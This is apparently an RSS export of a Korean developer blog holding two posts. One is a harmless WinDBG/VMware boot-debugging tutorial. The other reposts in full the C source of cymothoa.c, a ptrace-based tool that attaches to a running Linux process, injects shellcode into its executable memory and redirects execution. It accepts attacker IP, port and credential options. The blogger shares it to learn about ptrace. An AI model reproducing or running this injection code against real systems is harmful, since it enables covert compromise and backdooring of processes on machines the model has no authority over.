<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
	<channel>
		<title>kkamagui의 작업실</title>
		<link>http://kkamagui.tistory.com/</link>
		<description>천성의 개발자인 kkamagui의 개발 블로그입니다. ^^)/~ 즐거운 하루 되세요~ http://mint64os.pe.kr</description>
		<language>ko</language>
		<pubDate>Mon, 30 Apr 2012 00:31:12 +0900</pubDate>
		<generator>Tistory 1.1 (http://www.tistory.com/)</generator>
		<managingEditor>kkamagui</managingEditor>
		<image>
			<title>kkamagui의 작업실</title>
			<url>http://cfile6.uf.tistory.com/image/125BE8354C8480CE55324D</url>
			<link>http://kkamagui.tistory.com</link>
			<description>천성의 개발자인 kkamagui의 개발 블로그입니다. ^^)/~ 즐거운 하루 되세요~ http://mint64os.pe.kr</description>
		</image>
		<item>
			<title>VMware와 WinDBG를 이용해서 윈도우 32비트 부트매니져부터 부팅과정 따라가기</title>
			<link>http://kkamagui.tistory.com/809</link>
			<description>&lt;p&gt;&lt;/p&gt;&lt;p&gt;지난번에 VMware와 IDA를 이용해서 &lt;a href=&quot;http://kkamagui.tistory.com/807&quot;&gt;MBR부터 윈도우 부팅과정을 따라가는 방법에 대한 글&lt;/a&gt;을 올렸는데요, Ilho님께서 WinDBG를 이용해서 부팅과정을 따라가는 방법도 있다고 알려주셔서 실험해봤습니다. ^^&lt;/p&gt;&lt;p&gt;일단 디버거가 붙은 시점은 32비트 부트매니져가 시작되는 시점이더라구요. MBR부터 따라가지 못하는 점은 조금 아쉽지만... 강력한 장점은 윈도우 심볼을 로드할 수 있어서 따라가기 편하다는 겁니다. @0@)-b (llho님 감사드려요 ㅠㅠ)&lt;/p&gt;

&lt;h2&gt;VMware 설정&lt;/h2&gt;&lt;p&gt;일단, 부팅과정을 따라가려면 VMware에 시리얼을 추가해야 하는데요, VMware의 왼쪽 편에 있는 &lt;strong&gt;&quot;Edit vritual machine settings&quot;&lt;/strong&gt;를 클릭하여 뜬 &lt;strong&gt;&quot;Virtual Machine Settings&quot;&lt;/strong&gt; 창에서 왼쪽 아래에 있는 &lt;strong&gt;&quot;Add&quot;&lt;/strong&gt;을 누르면 됩니다. 그러면 &lt;strong&gt;&quot;Add Hardware Wizard&quot;&lt;/strong&gt;창이 표시되는데, &lt;strong&gt;&quot;Serial Port&quot;&lt;/strong&gt; 항목을 선택한 뒤 &lt;strong&gt;&quot;Next&quot;&lt;/strong&gt;를 누릅니다.&lt;/p&gt;&lt;p&gt;이제 시리얼 포트 타입과 옵션을 설정할 차례인데요, &lt;strong&gt;&quot;Serial Port Type&quot;&lt;/strong&gt;은 &lt;strong&gt;&quot;Output to named pipe&quot;&lt;/strong&gt;로 하고 &lt;strong&gt;&quot;Named pipe&quot;&lt;/strong&gt;의 이름은 &lt;strong&gt;&quot;\.\pipe\com_1&quot;&lt;/strong&gt;, &lt;strong&gt;&quot;This end is the server&quot;&lt;/strong&gt;, &lt;strong&gt;&quot;The other end is a virtual machine&quot;&lt;/strong&gt;, &lt;strong&gt;&quot;Connect at power on&quot;&lt;/strong&gt;로 각각 선택해주시면 됩니다(좀 항목이 많은데 아래 그림을 참고하세요 ^^;;). 그리고 시리얼 포트가 생성되면 마지막으로 &lt;strong&gt;&quot;Virtual Machine Settings&quot;&lt;/strong&gt; 창의 오른쪽 아래에 있는 &lt;strong&gt;&quot;Yield CPU on poll&quot;&lt;/strong&gt;을 클릭해주시면 VMware의 설정은 끝납니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; &quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:710px;&quot;&gt;&lt;a href=&quot;http://cfile26.uf.tistory.com/original/182EB63F4F9BA2EE3DDCD9&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile26.uf.tistory.com/image/182EB63F4F9BA2EE3DDCD9&quot; filemime=&quot;image/jpeg&quot; filename=&quot;설정 1.png&quot; height=&quot;617&quot; style=&quot;width: 710px; height: 617px; &quot; width=&quot;710&quot;/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; &quot;&gt;&lt;b&gt;&amp;lt;VMware 시리얼 포트 등록 화면 1&amp;gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; &quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; &quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:659px;&quot;&gt;&lt;a href=&quot;http://cfile8.uf.tistory.com/original/2048B03F4F9BA2EF29374F&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile8.uf.tistory.com/image/2048B03F4F9BA2EF29374F&quot; filemime=&quot;image/jpeg&quot; filename=&quot;설정 2.png&quot; height=&quot;577&quot; width=&quot;659&quot;/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; &quot;&gt;&lt;b&gt;&lt;span style=&quot;text-align: center; &quot;&gt;&amp;lt;VMware 시리얼 포트 등록 화면 2&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2&gt;윈도우 7 설정&lt;/h2&gt;&lt;p&gt;다음으로... 윈도우 7에 부트 디버그 옵션을 설정해야 하는데요, cmd.exe를 관리자 권한으로 실행해서 bcdedit.exe로 옵션을 설정해줘야 합니다. cmd.exe를 실행한 다음 아래처럼 입력해주면 됩니다.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;주의: bcdedit로 부트 디버그 설정을 하고 나면 재부팅 후 디버그가 붙기 전까지는 부팅 시작이 아주 늦게 시작되더군요(한 1분쯤 기다려야 부팅이 시작되었던듯...). ㅠㅠ 실제로 사용하시는 윈도우에 실험삼아 하셨다가는 큰일이 날수도 있으니 주의하시기 바랍니다. ㅠㅠ&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;c&quot;&gt;bcdedit /bootdebug {bootmgr} on
bcdedit /bootdebug on
bcdedit /debug {bootmgr} on 
bcdedit /debug on 
bcdedit /set {bootmgr} debugtype serial
bcdedit /set {bootmgr} baudrate 115200
bcdedit /set {bootmgr} debugport 1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;그리고 재부팅을 하면 부팅이 시작되지 않고 디버거가 붙기를 기다립니다. 이제 WinDBG만 설정해주면 디버깅 준비가 모두 끝납니다.&lt;/p&gt;

&lt;h2&gt;WinDBG 설정&lt;/h2&gt;&lt;p&gt;WinDBG는 마이크로소프트에서 제공하는 디버거로 유저 모드 디버깅과 커널 모드 디버깅을 모두 지원합니다. 그리고 윈도우 자체를 디버깅할 때 심볼을 자동으로 로드해주는 강력한 기능이 있기 때문에 윈도우를 분석하는데 정말 좋은 툴이라고 생각합니다. ^^;;;&lt;/p&gt;&lt;p&gt;WinDBG는 &lt;a href=&quot;http://msdn.microsoft.com/en-us/windows/hardware/gg463009&quot;&gt;마이크로소프트 사의 페이지&lt;/a&gt;에서 다운받을 수 있으며, 다운 받은 설치 파일을 실행하면 끝납니다. 설치가 끝나면 이제 옵션을 주어 VMware의 시리얼 포트와 연결되도록 해야 하는데요, 먼저 windbg.exe 파일을 끌어서 바로가기를 만듭니다. 그리고 속성을 클릭해서 아래 화면처럼 대상의 내용을 수정해 줍니다. -k부터 주욱 입력해주시면 됩니다. ^^;;;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;c&quot;&gt;C:\WinDDK\7600.16385.1\Debuggers\windbg.exe -k com:port=\\.\pipe\com_1,baud=115200,pipe,reconnect
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; &quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:435px;&quot;&gt;&lt;a href=&quot;http://cfile7.uf.tistory.com/original/1348D1494F9BA35C108C01&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile7.uf.tistory.com/image/1348D1494F9BA35C108C01&quot; filemime=&quot;image/jpeg&quot; filename=&quot;Windbg.png&quot; height=&quot;480&quot; width=&quot;435&quot;/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; &quot;&gt;&lt;b&gt;&amp;lt;WinDBG 설정 화면&amp;gt;&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;자, 입력까지 끝났으면 이제 바로가기를 클릭하여 windbg를 실행합니다. 그러면 창이 뜨고 아래처럼 &quot;Waiting to reconnect...&quot;라는 메시지가 표시될 텐데요, VMware를 시작하면 디버거가 연결되고 윈도우가 실행됩니다. 이 상태로는 원하는 부트 디버깅을 할 수 없으니 WinDBG 창에서 &lt;code&gt;Control+break&lt;/code&gt;를 눌러서 중단 시킵니다. 그리고 아래로 넘어가서 심볼 경로 설정과 브레이크 포인트 설정을 해줍니다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;c&quot;&gt;Microsoft (R) Windows Debugger Version 6.12.0002.633 X86
Copyright (c) Microsoft Corporation. All rights reserved.

Waiting for pipe \\.\pipe\com_1
Waiting to reconnect...
&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;WinDBG 심볼 설정 및 브레이크 포인트 설정하기&lt;/h2&gt;&lt;p&gt;그럼 먼저 심볼을 로드할 수 있게 설정해보겠습니다. 심볼 경로는 &lt;strong&gt;&quot;File&quot;&lt;/strong&gt; -&amp;gt; &lt;strong&gt;&quot;Symbol File Path&quot;&lt;/strong&gt;를 클릭해서 지정해 줄 수 있으며, 아래처럼 입력해주면 웹에서 찾아 알아서 심볼을 다운로드 해줍니다. 굳이 윈도우 버전에 따라서 심볼을 찾느라 고생하지 않아도 된다는 거지요. ^^;;;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;c&quot;&gt;srv*c:\symbols.pub*http://msdl.microsoft.com/download/symbols
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;심볼 경로를 지정해줬으니 이번에는 bootmgr부터 디버깅을 하기 위해 WinDBG의 커맨드 창에서 아래처럼 입력해줍니다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;c&quot;&gt;sxe ibp
sxe ld:bootmgr
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;다 입력했으면 VMware를 재시작 한 뒤에 WinDBG의 커맨드 창에서 &lt;code&gt;.restart&lt;/code&gt;를 입력해서 재시작합니다. 그리고 잠시 기다리면 VMware와 연결되서 bootmgr부터 디버깅이 가능합니다. ^^)-b&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; &quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:710px;&quot;&gt;&lt;a href=&quot;http://cfile10.uf.tistory.com/original/15161B434F9BA37F0E87D2&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile10.uf.tistory.com/image/15161B434F9BA37F0E87D2&quot; filemime=&quot;image/jpeg&quot; filename=&quot;디버깅화면.png&quot; height=&quot;387&quot; style=&quot;width: 710px; height: 387px; &quot; width=&quot;710&quot;/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; &quot;&gt;&lt;b&gt;&amp;lt;Bootmgr 디버깅 화면&amp;gt;&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그럼 즐거운 디버깅(?)하세요 ;)&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-809-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-809-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-809-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F809&amp;regts=1335713170&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/Programming%20Tip&quot;&gt;Programming Tip&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/809&quot; &gt;VMware와 WinDBG를 이용해서 윈도우 32비트 부트매니져부터 부팅과정 따라가기&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/04/28&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/808&quot; &gt;Cymothoa, ptrace()를 이용한 코드 인젝션 툴(Code Injection Tool)~!!&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(4)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/04/23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/807&quot; &gt;VMware와 IDA Pro를 이용해서 MBR부터 윈도우 부팅과정 따라가기&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(5)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/04/16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/771&quot; &gt;윈도우 7에서 TortoiseSVN 설치 시 탐색기에서 아이콘 표시되지 않는 문제 해결 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/10/22&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/767&quot; &gt;윈도우 7에서 telnet이 없다고 나올 때 해결 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/10/02&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/754&quot; &gt;윈도우 콘솔창에서 gcc가 실행 안되는 경우 해결 방법과 Cygwin 환경에서 윈도우 디렉터리 접근 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/08/08&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>Programming Tip</category>
			<category>vmware</category>
			<category>windbg</category>
			<category>디버깅</category>
			<category>윈도우 부팅</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/809</guid>
			<comments>http://kkamagui.tistory.com/809#entry809comment</comments>
			<pubDate>Sat, 28 Apr 2012 17:00:55 +0900</pubDate>
		</item>
		<item>
			<title>Cymothoa, ptrace()를 이용한 코드 인젝션 툴(Code Injection Tool)~!!</title>
			<link>http://kkamagui.tistory.com/808</link>
			<description>&lt;p&gt;
 &lt;/p&gt;&lt;p&gt;아시는 분들도 있겠지만, 얼마전에 전공(?)을 바꾼지라 배울게 산더미여서 주말에도 열심히 적응 중입니다. ^^;;; 이번 주말은 리눅스(Linux) 계열에서 프로세스 디버깅이나 모니터링을 할 수 있는 ptrace() 함수에 꽂혀서 자료를 보고 있었는데요, 기가 막힌 툴을 찾았습니다. @0@)-b&lt;/p&gt;&lt;p&gt;바로 &lt;a href=&quot;http://cymothoa.sourceforge.net/&quot;&gt;Cymothoa&lt;/a&gt; 인데요, ptrace를 이용해서 코드를 실행중인 프로세스에 인젝션할 수 있는 툴입니다. @0@)-b &lt;a href=&quot;http://cymothoa.sourceforge.net/&quot;&gt;Cymothoa&lt;/a&gt;로 가서 Alpha 버전이나 Beta 버전을 다운로드하면 압축 파일에 cymothoa.c 파일이 있는데요, 이것만 봐도 ptrace()의 대락적인 사용방법을 알겠더라구요. ^^;;;&lt;/p&gt;&lt;p&gt;세상에는 참 배울게 많은 것 같습니다. ^^;;; 혹시나 나중에 코드를 찾을 일이 있을지 몰라서 cymothoa.c 파일을 붙여둡니다.&lt;/p&gt;&lt;p&gt;그럼 좋은 하루 되세요 ;)&lt;/p&gt;&lt;p&gt;&lt;strong&gt;ps)&amp;nbsp;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;코드를 보면 인젝션한 뒤에 reg.INST_POINTER의 값을 인젝션한 메모리 시작 위치 + 2로 설정하던데... 혹시 왜 그런지 아시는 분 계신가요? ㅠㅠ&lt;/strong&gt;&amp;nbsp;&lt;strong&gt;제 생각대로라면 인젝션한 메모리 시작 위치여야 할 것 같은데... 인젝션한 메모리 시작 위치 + 2가 너무 정상적으로 잘 되서... 고민중입니다.&amp;nbsp;&lt;/strong&gt;&lt;strong&gt;아시는 분 계시면 댓글로 살짝 알려주시면 감사드릴께요 ㅠㅠ&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;c&quot;&gt;/*
 * CYMOTHOA.C
 *
 * Copyright (C) 2009
 * codwizard &amp;lt;codwizard@gmail.com&amp;gt;, crossbower &amp;lt;crossbower@gmail.com&amp;gt;
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see &amp;lt;http://www.gnu.org/licenses/&amp;gt;.
 */


#include &quot;cymothoa.h&quot;

// Print usage
void print_usage(int ret_val)
{
    printf(&quot;%s\n%s\n&quot;, banner, info);
    printf(&quot;%s&quot;, usage_text);
    exit(ret_val);
}

// Initialize payload buffer and vars
void payload_init(void)
{
    need_fork = 0;
    need_thread = 0;
    need_persistent = 0;
    need_alarm = 0;
    need_setitimer = 0;
    use_setitimer = 0;

    // check payload options and cmd-line arguments

    if(((payloads[args.payload_index].options &amp;amp; OPT_NEED_FORK) &amp;amp;&amp;amp; args.no_fork==0) || args.fork)
        need_fork=1;

    if(((payloads[args.payload_index].options &amp;amp; OPT_NEED_THREAD) &amp;amp;&amp;amp; args.no_thread==0) || args.thread)
        need_thread=1;

    if(((payloads[args.payload_index].options &amp;amp; OPT_NEED_PERSISTENT) &amp;amp;&amp;amp; args.no_persistent==0) || args.persistent)
        need_persistent=1;

    if(((payloads[args.payload_index].options &amp;amp; OPT_NEED_ALARM) &amp;amp;&amp;amp; args.no_alarm==0) || args.alarm)
        need_alarm=1;

    if(((payloads[args.payload_index].options &amp;amp; OPT_NEED_SETITIMER) &amp;amp;&amp;amp; args.no_setitimer==0) || args.setitimer)
        need_setitimer=1;

    if(payloads[args.payload_index].options &amp;amp; OPT_USE_SETITIMER)
        use_setitimer=1;

    // calculate shellcode total size

    main_shellcode_len = payloads[args.payload_index].len;

    if      (need_fork)   payload_len = fork_shellcode_len + main_shellcode_len;
    else if (need_thread) payload_len = thread_shellcode_len + main_shellcode_len;
    else                  payload_len = main_shellcode_len;

    // allocate shellcode

    if(!(sh_buffer = malloc(payload_len + 1))) exit(-1);

    memset(sh_buffer, 0x0, payload_len + 1);

    if (need_fork) {
        memcpy(sh_buffer, fork_shellcode, fork_shellcode_len);
        memcpy(sh_buffer+fork_shellcode_len-1, payloads[args.payload_index].shellcode, main_shellcode_len);
    }
    else if (need_thread) {
        memcpy(sh_buffer, thread_shellcode, thread_shellcode_len);
        memcpy(sh_buffer+thread_shellcode_len-1, payloads[args.payload_index].shellcode, main_shellcode_len);
    }
    else {
        memcpy(sh_buffer, payloads[args.payload_index].shellcode, main_shellcode_len);
    }
}

// Free the payload buffer
void payload_destroy(void)
{
    free(sh_buffer);
}

// Search library region
int search_lib_region(pid_t pid, char *lib_name, int perms)
{
    FILE *maps = NULL;
    char cmd[1024];
    char output[1024];

    int region=0;

    if (lib_name==NULL) {
        // search /lib/ld-&amp;lt;version&amp;gt;.so region, usually a good memory location
        lib_name = &quot;/lib/ld&quot;;
    }

    // assemble cmd
    if (perms == MEM_WRITE) {
        // writable memory (mapped rw-p)
        sprintf(cmd, &quot;cat /proc/%d/maps | grep %s | grep ' rw-p '&quot;, pid, lib_name);
    }
    else {
        // executable memory (mapped r-xp)
        sprintf(cmd, &quot;cat /proc/%d/maps | grep %s | grep ' r-xp '&quot;, pid, lib_name);
    }

    // read output
    maps = popen(cmd, &quot;r&quot;);
    fgets(output, 1024-1, maps);
    pclose(maps);

    // get region
    sscanf(output, &quot;%x&quot;, &amp;amp;region);

    return region;
}


// Injection Function
int ptrace_inject(pid_t pid, int memaddr, void *buf, int buflen)
{

    int data;

    while (buflen &amp;gt; 0) {
        memcpy(&amp;amp;data, buf, BLOCK_SIZE);

        if ( ptrace(PTRACE_POKETEXT, pid, memaddr, data) &amp;lt; 0 ) {
            perror(&quot;Oopsie!&quot;);
            ptrace(PTRACE_DETACH, pid, NULL, NULL);

            return -1;
       }

       memaddr += BLOCK_SIZE;
       buf     += BLOCK_SIZE;
       buflen  -= BLOCK_SIZE;
    }

    return 1;
}

// Infect function
int ptrace_infect()
{
        // set standard arguments
        pid_t pid = args.pid;

        // other variables
        int ptr=0, error=0;
        struct user_regs_struct reg;

        printf(&quot;[+] attaching to process %d\n&quot;,pid);

        error = ptrace(PTRACE_ATTACH,pid,0,0);    // attaching to process
        if (error == -1) {
            printf(&quot;[-] attaching failed. exiting...\n&quot;);
            exit(1);
        }

        waitpid(pid,NULL,0);

        ptrace(PTRACE_GETREGS,pid,&amp;amp;reg,&amp;amp;reg);       // general purpose registers

        printf(&quot;\n register info: \n&quot;);
        printf(&quot; -----------------------------------------------------------\n&quot;);
        printf(&quot; eax value: 0x%lx\t&quot;, reg.AX);
        printf(&quot; ebx value: 0x%lx\n&quot;, reg.BX);
        printf(&quot; esp value: 0x%lx\t&quot;, reg.STACK_POINTER);
        printf(&quot; eip value: 0x%lx\n&quot;, reg.INST_POINTER);
        printf(&quot; ------------------------------------------------------------\n\n&quot;);

        reg.STACK_POINTER -= BLOCK_SIZE; // decrement STACK_POINTER

        printf(&quot;[+] new esp: 0x%.8lx\n&quot;, reg.STACK_POINTER);

        ptrace(PTRACE_POKETEXT, pid, reg.STACK_POINTER, reg.INST_POINTER);  // poke INST_POINTER -&amp;gt; STACK_POINTER

        // print preamble options
        if (need_fork)
            printf(&quot;[+] payload preamble: fork\n&quot;, reg.STACK_POINTER);
        else if (need_thread)
            printf(&quot;[+] payload preamble: thread\n&quot;, reg.STACK_POINTER);
        else if (need_alarm)
            printf(&quot;[+] payload preamble: alarm\n&quot;, reg.STACK_POINTER);
        else if (need_setitimer || use_setitimer)
            printf(&quot;[+] payload preamble: setitimer\n&quot;, reg.STACK_POINTER);

        // get the address for our shellcode
        ptr = search_lib_region(pid, args.lib_name, MEM_EXEC);

        printf(&quot;[+] injecting code into 0x%.8x\n&quot;, ptr);

        reg.INST_POINTER = ptr + 2;
        printf(&quot;[+] copy general purpose registers\n&quot;);
        ptrace(PTRACE_SETREGS, pid, &amp;amp;reg, &amp;amp;reg);

        // get the address for persistent memory
        persistent_addr = search_lib_region(pid, args.lib_name_mem, MEM_WRITE);

        if (need_persistent)
          printf(&quot;[+] persistent memory at 0x%.8x\n&quot;, persistent_addr);

        // personalize shellcode if required
        personalize_shellcode();

        // inject the shellcode
        ptrace_inject(pid, ptr, sh_buffer, payload_len+1);

        // detach from process
        printf(&quot;[+] detaching from %d\n\n&quot;, pid);

        ptrace(PTRACE_DETACH, pid, 0, 0);

        printf(&quot;[+] infected!!!\n&quot;);

        return(0);
}

/*
 * This function parse the arguments of the program and fills args structure
 */
int parse_arguments(int argc,char **argv)
{

    int c;
    opterr = 0;
    payload_count = 0;

    // clean the arguments structure
    memset(&amp;amp;args, 0, sizeof(args));
    args.payload_index=-1;

    // list of the options getopt have to get
    char short_options[] = &quot;p:s:l:m:hSfFbBwWaAtTj:k:x:y:r:z:o:c:&quot;;

    // PARSE ARGUMENTS...

    while ((c = getopt (argc, argv, short_options)) != -1) {
        switch (c) {

            // main options

            case 'p': // process pid
                args.pid = atoi(optarg);
                break;

            case 's': // payload index (shellcode)
                args.payload_index = atoi(optarg);
                break;

            case 'l': // library region where to put the shellcode
                args.lib_name = optarg;
                break;

            case 'm': // memory region for persistent memory
                args.lib_name_mem = optarg;
                break;

            case 'h': // show help/usage
                args.show_help = 1;
                break;

            case 'S': // show payloads
                args.show_payloads = 1;
                break;

            // injection options

            case 'f': // use fork shellcode
                args.fork = 1;
                break;

            case 'F': // don't use fork shellcode
                args.no_fork = 1;
                break;

            case 'b': // create payload thread
                args.thread = 1;
                break;

            case 'B': // don't create payload thread
                args.no_thread = 1;
                break;

            case 'w': // pass persistent memory address
                args.persistent = 1;
                break;

            case 'W': // don't pass persistent memory address
                args.no_persistent = 1;
                break;

            case 'a': // use alarm scheduler
                args.alarm = 1;
                break;

            case 'A': // don't use alarm scheduler
                args.no_alarm = 1;
                break;

            case 't': // use setitimer scheduler
                args.setitimer = 1;
                break;

            case 'T': // don't use setitimer scheduler
                args.no_setitimer = 1;
                break;

            // payload arguments

            case 'j': // timer_seconds
                args.timer_sec = atoi(optarg);
                break;

            case 'k': // timer microseconds
                args.timer_micro = atoi(optarg);
                break;

            case 'x': // option ip address
                args.my_ip = inet_addr(optarg);
                break;

            case 'y': // option port number
                args.my_port = htons(atoi(optarg));
                break;

            case 'r': // option port number 2
                args.my_port2 = htons(atoi(optarg));
                break;

            case 'z': // option username
                args.my_username = optarg;
                break;

            case 'o': // option password
                args.my_password = optarg;
                break;

            case 'c': // script code
                args.my_script = optarg;
                break;

            case '?':
                fprintf (stderr, &quot;Error with option: %c. Check the usage...\n&quot;, optopt);
                return 0;
        }
    }

    // ACTIONS...

    // show help/usage screen
    if (args.show_help) {
        print_usage(0);
    }

    // show payloads
    if (args.show_payloads) {
        int count = 0;

        printf(&quot;\n&quot;);
        while(payloads[count].shellcode != NULL) {
            printf(&quot;%d - %s\n&quot;, count, payloads[count].description);
            count++;
        }

        exit(0);
    }

    // COUNT PAYLOADS

    while(payloads[payload_count].shellcode != NULL) payload_count++;

    // CHECK ARGUMENTS...

    if (args.pid==0 || args.payload_index &amp;lt; 0 || args.payload_index &amp;gt; payload_count) {
        print_usage(1);
    }

    return 1;
}

// Main function
int main(int argc,char **argv)
{

    // parse and check command line arguments
    if ( parse_arguments(argc, argv) == 0 ) {
        return 1;
    }

    // initialize payload buffer and vars
    payload_init();

    // free payload buffer when exiting or when an error occures
    atexit(payload_destroy);

    // infect the process
    if ( ptrace_infect() == 0 ) {
        return 1;
    }

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-808-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
